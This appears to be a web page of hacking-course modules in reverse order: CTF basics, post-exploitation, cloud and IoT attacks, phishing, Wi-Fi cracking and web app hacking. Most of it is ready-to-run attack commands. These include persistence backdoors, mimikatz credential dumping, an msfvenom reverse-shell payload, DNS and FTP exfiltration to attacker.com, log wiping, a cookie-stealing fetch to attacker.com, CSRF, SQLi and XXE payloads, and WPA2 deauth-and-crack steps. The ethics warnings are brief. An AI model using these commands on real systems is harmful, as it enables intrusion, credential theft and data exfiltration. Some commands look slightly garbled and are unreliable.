sudo apt install -y gdb peda pwntools steghide binwalk volatility
5. Step-by-Step CTF Walkthrough
Challenge: Web Login Bypass
Given :
http://ctf.site/login
Source: <!-- /source.php -->
Steps :
1. View source → Find `/source.php`
2. Analyze code:
php
if ($_POST['password'] == md5('secret')) $flag = "FLAG{...}";
3. Generate MD5 hash:
bash
echo -n 'secret' | md5sum
4. Submit password hash → Get flag!
6. CTF Platforms
| Platform | Type | Difficulty |
|----------|------|------------|
| Hack The Box | Live machines | Medium-Hard |
| TryHackMe | Guided labs | Beginner |
| CTFtime | Competition hub | All levels |
| picoCTF | Jeopardy | Beginner |
| OverTheWire | War games | Progressive |
7. Advanced Techniques
A. Automating with Python
python
import requests
for i in range(100):
r = requests.get(f'http://ctf.site?id={i}')
if "FLAG{" in r.text:
print(r.text)
B. Binary Patch Exploits
bash
# Change JZ to JNZ in binary
printf '\x75' | dd of=./binary bs=1 seek=$((0x1234)) conv=notrunc
C. Memory Corruption
python
# ROP chain example
rop = ROP('./binary')
rop.call('system', ['/bin/sh'])
8. CTF Team Tips
- Roles : Reverser, Web expert, Crypto specialist
- Communication : Discord + shared notes
- Knowledge Sharing : Writeups after events
9. Post-CTF Learning
1. Read writeups for unsolved challenges
2. Recreate challenges for deeper understanding
3. Build your own CTFs (CTFd framework)
10. Free Practice Resources
1. picoCTF (Beginner-friendly)
2. OverTheWire Bandit (Linux skills)
3. Cryptopals (Crypto challenges)
4. MalwareTech Challenges (Beginner RE)
Conclusion
- CTFs are the best way to practice real-world hacking
- Start with easy challenges and progress gradually
- Learn from failures - every CTF improves skills
🔹 Next Steps :
***************Learn About Kali Linux Tools**********************
***You can check out Here for Ethical Hacking Programming Language ***
1. Create free account on HTB/TryHackMe
2. Join CTFtime.org for upcoming events
3. Solve picoCTF 2024 challenges
🚀 Want a curated list of beginner CTFs? Here's my recommended starting path:
1. OverTheWire Bandit (Linux)
2. picoCTF (General)
3. HTB Starting Point
4. NahamCon CTF
Would you like personalized challenge recommendations based on your skill level? 😊
Post-Exploitation & Reporting in cybersecurity career
1. Introduction to Post-Exploitation
Post-exploitation refers to actions taken after gaining initial access to a system. The goals include:
- Maintaining persistence (staying undetected)
- Privilege escalation (gaining higher access)
- Lateral movement (expanding control)
- Data exfiltration (stealing sensitive info)
- Covering tracks (removing evidence)
2. Post-Exploitation Techniques
A. Maintaining Access (Persistence)
1. Windows Persistence Methods
- Registry Keys (Run keys, Startup folders)
powershell
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\malware.exe"
-Scheduled Tasks
powershell
schtasks /create /tn "UpdateTask" /tr "C:\malware.exe" /sc hourly /mo 1
- Service Installation
powershell
sc create "FakeService" binPath= "C:\malware.exe" start= auto
2. Linux Persistence Methods
- Cron Jobs
bash
echo " /*****tmp/backdoor.sh" >> /etc/crontab
SSH Backdoors
bash
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
-Modified Binaries (LD_PRELOAD)
bash
echo "/tmp/evil.so" >> /etc/ld.so.preload
B. Privilege Escalation
1. Windows Escalation
-Token Impersonation (Rotten Potato)
powershell
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
- DLL Hijacking
powershell
copy evil.dll C:\Program Files\VulnerableApp\legit.dll
- Unquoted Service Paths
powershell
wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows"
2. Linux Escalation
- SUID Binaries
bash
find / -perm -4000 2>/dev/null
- Kernel Exploits (DirtyCow, Sudo Baron Samedit)
bash
gcc exploit.c -o exploit && ./exploit
- Sudo Misconfigurations
bash
sudo -l
C. Lateral Movement
1. Pass-the-Hash (PtH)
- Windows
powershell
mimikatz "sekurlsa::pth /user:Administrator /domain:corp /ntlm:HASH"
- Linux (SSH Key Abuse)
bash
ssh -i id_rsa user@192.168.1.100
2. RDP Hijacking
- Session Stealing
powershell
tscon 2 /dest:rdp-tcp#0
3. WMI & PSExec
- Remote Command Execution
powershell
Invoke-WMIExec -Target 192.168.1.100 -Command "whoami"
D. Data Exfiltration
1. File Transfer Methods
- HTTP Upload (Python Server)
bash
python3 -m http.server 8000
- DNS Exfiltration
bash
cat secret.txt | base64 | tr -d '\n' | while read chunk; do dig $chunk.attacker.com; done
2. Data Compression & Encryption
- ZIP + AES Encryption
bash
zip -P "password" secret.zip secret.txt
E. Covering Tracks
1. Log Deletion
- Windows (Clear Event Logs)
powershell
wevtutil cl System
- Linux (Delete Auth Logs)
bash
echo "" > /var/log/auth.log
2. Timestomping
- Modify File Timestamps
powershell
(Get-Item "C:\malware.exe").CreationTime = "01/01/2020 00:00:00"
3. Post-Exploitation Tools
| Tool | Purpose |
| ------ | ---------|
| Mimikatz | Credential dumping (Windows) |
| BloodHound | Active Directory mapping |
| Cobalt Strike | Advanced post-exploitation |
| Metasploit | Automated exploitation |
| Impacket | Lateral movement (Linux/Windows) |
4. Reporting & Documentation
A. Key Elements of a Penetration Test Report
1. Executive Summary (High-level findings)
2. Methodology (Tools & techniques used)
3. Findings (Vulnerabilities + risk ratings)
4. Evidence (Screenshots, logs)
5. Remediation Steps (How to fix issues)
B. Sample Report Structure
Penetration Test Report
1. Executive Summary
- Critical vulnerabilities found: 3
- Risk level: High
2. Findings
A. Privilege Escalation (Critical)
Description: Kernel exploit (CVE-2021-4034)
Proof:
Remediation: Patch Linux kernel.
3. Conclusion
- Immediate action required for CVE-2021-4034.
C. Tools for Reporting
- Dradis (Collaborative reporting)
- Faraday (Pentest collaboration)
- LaTeX/Word (Professional formatting)
5. Hands-On Lab
Lab: Windows Post-Exploitation
1. Dump hashes with Mimikatz :
powershell
sekurlsa::logonpasswords
2. Create a backdoor:
powershell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe > backdoor.exe
3. Exfiltrate data via FTP:
powershell
(New-Object Net.WebClient).UploadFile("ftp://attacker.com/secrets.txt", "C:\secrets.txt")
6. Ethical & Legal Considerations
⚠ Always get written permission before testing.
⚠ Do not exfiltrate real customer data (use dummy files).
⚠ Follow responsible disclosure for vulnerabilities.
Conclusion
- Post-exploitation is about maintaining access, escalating privileges, and stealing data.
- Reporting is critical for fixing vulnerabilities.
- Use tools like Mimikatz, BloodHound, and Metasploit for efficiency.
Post-Exploitation & Reporting is the part of cybersecurity Training
🔹 Next Steps :
Module 12: Capture The Flag (CTF) & Hands-On Labs
- Try HTB (Hack The Box) machines for practice.
- Learn Active Directory exploitation.
- Explore C2 frameworks (Sliver, Covenant).
🚀 Want a sample penetration test report template? Let me know!
Cloud Security & IoT Hacking
Part 1: Cloud Security
1. Introduction to Cloud Security
Cloud security is the part of cybersecurity career. Cloud security focuses on protecting data, applications, and infrastructure in cloud environments (AWS, Azure, GCP). Major risks include:
- Misconfigurations (Exposed S3 buckets)
- Insecure APIs
- Account hijacking
- Insider threats
2. Cloud Attack Vectors
A. Storage Bucket Exploitation
- AWS S3 Bucket Enumeration :
bash
aws s3 ls s3://bucket-name --no-sign-request
Tools : S3Scanner , BucketStream
B. Privilege Escalation
- AWS IAM Misconfigurations :
bash
aws iam list-users
aws iam list-roles
Tools : Pacu , CloudBrute
C. Serverless (Lambda) Attacks
- Injection in Lambda functions
Tools : Lambda-Proxy , AWS CLI
D. Container & Kubernetes Hacking
- Escaping Docker containers :
bash
docker run --privileged -it alpine
Tools : kube-hunter , Peirates
3. Cloud Security Tools
| Tool | Purpose |
|----- -| ---------|
| ScoutSuite | Multi-cloud auditing |
| CloudSploit | AWS/GCP/Azure security checks |
| Terrascan | IaC (Terraform) security scanner |
| Kubescape | Kubernetes security |
Part 2: IoT Hacking
1. IoT Attack Surface
- Firmware vulnerabilities
- Insecure APIs (MQTT, CoAP)
- Default credentials ( admin:admin )
- Hardware attacks (UART, JTAG)
2. IoT Hacking Methodology
A. Reconnaissance
-Shodan/FoFa Search :
shodan search "default password"
- Firmware Extraction :
bash
binwalk -e firmware.bin
B. Exploitation
- Brute-forcing Telnet/SSH :
bash
hydra -l admin -P rockyou.txt 192.168.1.1 telnet
-MQTT Exploitation :
bash
mosquitto_sub -t "#" -h 192.168.1.100
C. Hardware Hacking
- UART Pin Extraction :
- Identify TX/RX/GND pins
- Connect via USB-to-TTL adapter
- JTAG Debugging :
- Use OpenOCD , UrJTAG
3. IoT Security Tools
| Tool | Purpose |
|------ | ---------|
| Firmware Analysis Toolkit (FAT) | Automated firmware analysis |
| RouterSploit | IoT exploitation framework |
| Wireshark | Network protocol analysis |
| JTAGulator | Hardware debugging |
Part 3: Defense Strategies
Cloud Security Best Practices
✔ Enable MFA for all cloud accounts
✔ Use IAM roles instead of root keys
✔ Encrypt S3 buckets & EBS volumes
✔ Monitor with AWS GuardDuty/Azure Sentinel
IoT Security Best Practices
✔ Change default credentials
✔ Disable unused services (Telnet)
✔ Implement firmware signing
✔ Use VLANs to segment IoT devices
Hands-On Labs
Lab 1: Hacking an AWS S3 Bucket
1. Find open buckets:
bash
aws s3 ls s3:// --no-sign-request
2. Download files:
bash
aws s3 cp s3://bucket-name/file.txt
Lab 2: Exploiting IoT Camera
1. Find target:
bash
shodan search "webcam"
2. Login with admin:admin
3. Access live feed via /video.mjpg
Conclusion
- Cloud security requires configuration auditing
- IoT hacking combines network + hardware attacks
- Defense = encryption + segmentation + monitoring
🔹 Next Steps :
Module 11: Post-Exploitation & Reporting
- Try AWS CTF challenges (CloudGoat)
- Explore IoT villages at DEFCON
- Learn hardware reverse engineering
🚀 Want a step-by-step walkthrough for hacking a smart bulb? Let me know!
Social Engineering & Phishing
Introduction to Social Engineering
Social engineering is the part of cybersecurity course and art of manipulating people into divulging confidential information or performing actions that compromise security. It exploits human psychology rather than technical vulnerabilities.
Why It Works
- 98% of cyberattacks involve social engineering (IBM)
- Humans are the weakest link in security
- Low-cost, high-reward for attackers
Types of Social Engineering Attacks in cybersecurity
1. Phishing (Most Common)
- Deceptive emails/messages pretending to be legitimate
- Goals: Steal credentials, spread malware, financial fraud
Types:
- Email phishing (Fake invoices, "urgent" requests)
- Spear phishing (Targeted at individuals)
- Whaling (Targets executives)
- Smishing (SMS phishing)
- Vishing (Voice call phishing)
2. Pretexting
- Creating a fabricated scenario to obtain information
- Example: "IT support" calling to "verify your password"
3. Baiting
- Offering something enticing (free software, USB drops)
- Often contains malware
4. Quid Pro Quo
- "Exchange" of services (e.g., "free tech support" for login details)
5. Tailgating/Piggybacking
- Physically following someone into restricted areas
Phishing: Step-by-Step Attack Breakdown in cybersecurity course
Phase 1: Reconnaissance
- Research targets (LinkedIn, company website)
- Gather emails (Hunter.io, phonebook)
- Study communication style
Phase 2: Crafting the Attack
A. Email Phishing Example
html
From: "Amazon Support" <support@amazon-security.com>
Subject: Urgent: Unusual Login Attempt
Dear Customer,
We detected a login from Nigeria (IP: 196.xxx.xxx).
Click here to verify your account: http://amazon-verify.com/login
- Amazon Security Team
Red Flags:
- Fake domain (`amazon-verify.com`)
- Urgency + fear tactics
- Suspicious link
B. Clone Phishing
1. Hack a real email thread
2. Replace attachments/links with malicious ones
Phase 3: Delivery
- Send via email, SMS, or social media
- Use URL shorteners (bit.ly) to hide malicious links
- Spoof sender addresses (Easy with SMTP)
Phase 4: Exploitation
- Fake login pages (Steal credentials)
- Malware downloads (RATs, keyloggers)
- Financial scams (Gift cards, wire transfers)
Phase 5: Post-Attack
- Cover tracks (Delete logs)
- Sell data on dark web
- Use credentials for further attacks
Tools Used in Phishing
| Tool | Purpose |
|------|---------|
| Gophish | Open-source phishing framework |
| SET (Social Engineer Toolkit) | Automated phishing attacks |
| King Phisher | Realistic phishing campaigns |
| Evilginx2 | Advanced phishing (MFA bypass) |
| GoPhish | Email template cloning |
How to Defend Against Social Engineering For Individuals:
✔ Verify sender emails (Check domain spelling)
✔ Hover over links before clicking
✔ Enable MFA (Blocks 99% of phishing)
✔ Don’t trust urgency/fear messages
✔ Report suspicious emails to IT
For Organizations:
✔ Employee training (Phishing simulations)
✔ Email filtering (Mimecast, Proofpoint)
✔ DMARC/DKIM/SPF (Prevent email spoofing)
✔ Web filtering (Block malicious sites)
✔ Incident response plan
Ethical Phishing Testing in cybersecurity course
Steps for Legal Phishing Tests:
1. Get written permission
2. Use simulated domains (e.g., `company-security-test.com`)
3. Provide training after tests
4. Never steal real data
Tools for Security Awareness:
- KnowBe4 (Phishing simulations)
- PhishMe (Now Cofense)
- Microsoft Attack Simulator
Real-World Case Studies
1. 2016 DNC Hack (Russian spear phishing)
2. Twitter Bitcoin Scam (Celebrity accounts hacked via vishing)
3. Colonial Pipeline Attack (Compromised VPN via leaked password)
Conclusion
- Social engineering exploits human trust and best part of cybersecurity course
- Phishing is the #1 attack vector (FBI IC3 Report)
- Defense requires awareness + technology
🔹 Next Steps:
Module 10: Cloud Security & IoT Hacking
- Try ethical phishing labs (TryHackMe)
- Learn OSINT techniques for reconnaissance
- Explore dark web monitoring tools
🚀 Want a hands-on phishing lab walkthrough? Let me know!
Wireless Network Hacking
Introduction to Wireless Security
Wireless networks (Wi-Fi) are vulnerable to various attacks due to weak encryption, misconfigurations, and physical accessibility. This guide covers **reconnaissance, exploitation, and defense** techniques for both **WEP, WPA/WPA2, and WPA3** networks.
1. Wireless Reconnaissance
A. Identifying Networks
- Scan for nearby networks:
bash
sudo iwconfig # List available interfaces
sudo airmon-ng start wlan0 # Enable monitor mode
sudo airodump-ng wlan0mon # Scan networks
Key details :
-BSSID (MAC address of AP)
- ESSID (Network name)
- Channel, Encryption (WEP/WPA/WPA2)
B. Target Selection
- Prioritize weak networks :
- WEP (Easily crackable)
- WPA/WPA2-PSK (Vulnerable to brute force)
- Open Wi-Fi (No encryption)
2. Wireless Attacks
A. WEP Cracking (Outdated but Still Found)
WEP uses RC4 encryption and is easily crackable due to IV (Initialization Vector) reuse.
Steps:
1. Capture packets:
bash
sudo airodump-ng -c <channel> --bssid <BSSID> -w wep_crack wlan0mon
2. Force IV generation (ARP replay attack):
bash
sudo aireplay-ng -3 -b <BSSID> -h <client_MAC> wlan0mon
3. Crack with aircrack-ng:
bash
sudo aircrack-ng wep_crack-01.cap
B. WPA/WPA2 Cracking
WPA/WPA2-PSK (Pre-Shared Key) is vulnerable to brute force/dictionary attacks.
Steps:
1. Capture WPA Handshake (4-way authentication):
bash
sudo airodump-ng -c <channel> --bssid <BSSID> -w handshake wlan0mon
2. Deauthenticate a client to force reconnection:
bash
sudo aireplay-ng -0 5 -a <BSSID> -c <client_MAC> wlan0mon
3. Crack with hashcat or aircrack-ng :
bash
aircrack-ng -w rockyou.txt handshake-01.cap
or
bash
hashcat -m 22000 handshake.hc22000 rockyou.txt
C. Evil Twin Attack (Rogue AP)
- Creates a fake Wi-Fi network to steal credentials.
Tools : airbase-ng , hostapd-wpe .
Steps:
1. Set up rogue AP:
bash
sudo airbase-ng -a <BSSID> --essid "Free_WiFi" -c <channel> wlan0mon
2. Redirect traffic:
bash
sudo dnschef -i <interface> --fakeip 192.168.1.1
3. Capture credentials when victims connect.
D. WPS (Wi-Fi Protected Setup) Attack
- WPS PIN brute force (if enabled).
Tools : reaver , bully.
Steps:
bash
sudo reaver -i wlan0mon -b <BSSID> -vv -K 1
E. KRACK Attack (Key Reinstallation Attack)
- Exploits WPA2's 4-way handshake vulnerability.
Tool : krackattacks-scripts .
Steps:
1. Monitor network traffic.
2. Forge handshake packets to intercept data.
3. Advanced Attacks
A. PMKID Attack (WPA/WPA2)
- Extracts PMKID (Pairwise Master Key ID) without handshake.
Tool : hcxdumptool , hashcat .
Steps:
1. Capture PMKID:
bash
sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
2. Crack with hashcat :
bash
hashcat -m 16800 pmkid.hc16800 rockyou.txt
B. WPA3 Downgrade Attack
- Forces WPA3 → WPA2 fallback.
Tool : dragonblood .
4. Defensive Measures
A. Securing Wi-Fi Networks
✔ Use WPA3-SAE (if available)
✔ Disable WPS (Vulnerable to brute force)
✔ Use strong passwords (Avoid dictionary words)
✔ Enable MAC filtering (Whitelist devices)
✔ Disable SSID broadcasting (Hidden network)
✔ Monitor for rogue APs (Airodump-ng, Kismet)
B. Detection Tools
- Wireshark (Analyze Wi-Fi traffic)
- Kismet (Wireless IDS)
- Aircrack-ng (Test security)
5. Hands-On Lab
Lab: Cracking WPA2 with Aircrack-ng
1. Enable monitor mode :
bash
sudo airmon-ng start wlan0
2. Scan networks:
bash
sudo airodump-ng wlan0mon
3. Capture handshake :
bash
sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 -w capture wlan0mon
4. Deauth a client :
bash
sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
5. Crack the handshake :
bash
sudo aircrack-ng -w rockyou.txt capture-01.cap
6. Legal & Ethical Considerations
⚠ Only hack networks you own or have permission to test.
⚠ Unauthorized access is illegal (Computer Fraud and Abuse Act, etc.).
Conclusion
- WEP is trivial to crack (RC4 weakness).
- WPA/WPA2 is vulnerable to brute force (Weak passwords).
- WPA3 improves security but has downgrade risks.
- Evil Twin & WPS attacks are still effective.
🔹 Next Steps:
Module 9: Social Engineering & Phishing
- Try Wi-Fi challenges on Hack The Box / TryHackMe.
- Learn RF hacking (Bluetooth, Zigbee).
- Explore enterprise Wi-Fi security (RADIUS, 802.1X).
Would you like a step-by-step Evil Twin attack demo? 🚀
Web Application Hacking
Introduction to Web App Security
Web applications are prime targets for attackers due to their exposure to the internet. This guide covers vulnerabilities, exploitation techniques, and defenses.
1. Web App Reconnaissance
Information Gathering
- WHOIS Lookup (Domain details)
- Subdomain Enumeration (Sublist3r, Amass)
- Technology Stack Detection (Wappalyzer, BuiltWith)
- Directory Bruteforcing (Dirb, Gobuster)
- Wayback Machine (Historical snapshots)
Tools
bash
sublist3r -d example.com
wappalyzer.com
gobuster dir -u https://example.com -w /path/to/wordlist.txt
2. Common Web Vulnerabilities
A. Injection Attacks
1. SQL Injection (SQLi)
- Classic SQLi: ' OR 1=1 -- -
- Blind SQLi: Time-based/Boolean-based
Tools: SQLmap, Burp Suite
Example:
sql
SELECT * FROM users WHERE username = 'admin'--' AND password = ''
2. Command Injection
- Executing OS commands via input fields:
bash
; cat /etc/passwd
3. Cross-Site Scripting (XSS)
- Stored XSS : <script>alert(1)</script>
- Reflected XSS : https://example.com/search?q=<script>alert(1)</script>
- DOM XSS: Browser-side script execution
B. Broken Authentication
1. Credential Stuffing
- Using breached passwords
Tools : Hydra, Burp Intruder
2. Session Hijacking
- Stealing cookies via XSS/MITM
Tools : Ferret, Hamster
3. Default Credentials
- admin:admin , root:password
C. Sensitive Data Exposure
1. Insecure APIs
- Exposed API keys, tokens
Tools : Postman, Burp Suite
2. Directory Listing
- /backup, /admin accessible
D. Security Misconfigurations
1. Exposed Admin Panels
- /admin , /wp-admin
2. Verbose Error Messages
- Leaking stack traces, DB info
E. Cross-Site Request Forgery (CSRF)
- Forcing users to execute unwanted actions:
html
<img src="https://bank.com/transfer?amount=1000&to=attacker">
F. Server-Side Request Forgery (SSRF)
- Accessing internal services:
https://example.com/fetch?url=http://localhost
G. XML External Entity (XXE)
- Reading local files via XML:
xml
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
3. Exploitation Techniques
Step 1: Automated Scanning
- Burp Suite (Manual testing)
- OWASP ZAP (Automated scanning)
- Nikto (Vulnerability scanner)
Step 2: Manual Testing
- Intercepting requests (Burp Proxy)
- Tampering parameters (Headers, cookies)
- Fuzzing inputs (Wfuzz, FFUF)
Step 3: Post-Exploitation
- Privilege escalation
- Data exfiltration
- Persistence mechanisms
4. Hands-On Labs
Lab 1: SQL Injection with SQLmap
1. Find vulnerable parameter:
bash
sqlmap -u "https://example.com/login?id=1" --dbs
2. Dump database:
bash
sqlmap -u "https://example.com/login?id=1" -D dbname --tables
Lab 2: XSS Exploitation
1. Inject payload in search box:
html
<script>alert(document.cookie)</script>
2. Steal cookies:
javascript
fetch('https://attacker.com/log?cookie=' + document.cookie)
Lab 3: CSRF Attack
1. Craft malicious HTML:
html
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker">
</form>
<script>document.forms[0].submit()</script>
5. Defensive Measures
Secure Coding Practices
- Input validation
- Prepared statements (SQLi)
- CSP headers (XSS)
- CSRF tokens
Security Tools
- WAFs (ModSecurity, Cloudflare)
- DAST/SAST Scanners (Checkmarx, SonarQube)
- Honeypots (Glastopf)
6. Bug Bounty & Ethical Hacking
Platforms : HackerOne, Bugcrowd
Methodology:
1. Recon
2. Vulnerability Scanning
3. Exploitation
4. Reporting
Conclusion
- Web app hacking involves recon, exploitation, and post-exploitation.
- OWASP Top 10 is a must-know for pentesters.
- Automated tools + manual testing = Best approach.
🔹 Next Steps:
Module 8: Wireless Network Hacking
- Practice on DVWA, WebGoat.
- Try HTB, TryHackMe web challenges.
- Learn advanced Burp Suite techniques.
Would you like a deep dive into bypassing WAFs? 🚀
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